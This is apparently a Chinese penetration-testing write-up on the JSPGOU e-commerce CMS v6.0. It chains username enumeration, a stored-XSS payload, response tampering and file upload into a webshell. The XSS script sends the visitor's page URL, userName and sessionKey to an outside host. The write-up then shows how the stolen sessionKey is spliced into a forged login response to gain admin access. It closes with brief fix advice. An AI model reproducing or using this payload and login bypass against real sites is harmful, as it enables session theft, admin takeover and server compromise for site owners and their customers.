JSPGOU单店版 v6.0 渗透笔记（组合GetShell）

jspgou是基于java技术研发的电子商务管理软件，以其强大、稳定、安全、高效、跨平台等多方面的优点，网站模板统一在后台管理，系统拥有强大、灵活的标签，用户自定义显示内容和显示方式。jspgou为大、中、小企业提供一个安全、高效、强大的电子商务解决方案，协助企业快速构建电子商务平台，拓展企业销售渠道。

代码来源：http://www.jeecms.com/download.htm

以下漏洞理论通杀该CMS所有版本

0x01 用户遍历

GET /username_unique.jspx?username=admin HTTP/1.1
Host: demo3.jeecms.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: application/json, text/javascript, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://demo3.jeecms.com/register.jspx
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Cookie: JSESSIONID=A5EADADBD9C57169205A2E89B2CF98CA; clientlanguage=zh_CN; __qc_wId=66; pgv_pvid=9910498378

修改username参数后发包返回false为存在 true为不存在。

0x02 前台储存型XSS(管理和用户均可打)：

jsExp：

var website = "http://xss.com/XSS/";
(function() {
    (new Image()).src = website + '/?keepsession=1&location=' + escape((function() {
        try {
            return document.location.href
        } catch (e) {
            return ''
        }
    })()) + '&User=' + escape((function() {
        try {
            return localStorage.getItem("userName")
        } catch (e) {
            return ''
        }
    })()) + '&sessionKey=' + escape((function() {
        try {
            return localStorage.getItem("sessionKey")
        } catch (e) {
            return ''
        }
    })());
})();

注意看会发现写的exp里面连Cookie都没要没错这套系统的Cookie就是个摆设 sessionKey在整个运行过程起到了至关重要的地位所以打Cookie时只取sessionKey就行

利用：

密码正确时的返回包

密码错误时的返回包

密码正确后请求的第一个包：

xss打到的sessionKey正是这里所用到的但是程序对数据包进行了校验无法直接修改利用burpsuite的响应包替换功能

将打到的sessionKey替换到

{"body":{"sessionKey":"c9a23148eb0ef01d540d8e27d39bd07f695b51f0c6c0f00dba017fc2c6eeacd39e19033297f0a6702a49edd3d919d32f","permission":"*"}, "message":"success", "code":200}

中来然后替换掉下面的数据包

{"body":"", "message":"username or password error", "code":306}

再然后放开bp 账号密码随便输入登录即为管理员：

0x03 GetShell：

通过后台=>界面=>资源管理=>上传文件可轻松Getshell 无限制

0x04 总结：

出现该问题应该是作者笃定了xss打不到后台去事实也的确如此代码在后台被过滤了无法运行的但是作者忘记了自己本身的机制就是依赖于sessionKey 每个用户登录后都会生成并且存在用户端PC Admin账号也是如此不管是admin先登录前台还是先登录后台只要访问到了目标页面就一定中招。修复的话可以把Cookie真正校验起来不要过度依赖sessionKey以及加密算法校验算法（算法不可逆但是hk可以拿你的加密结果去和数据库中加密值对比啊）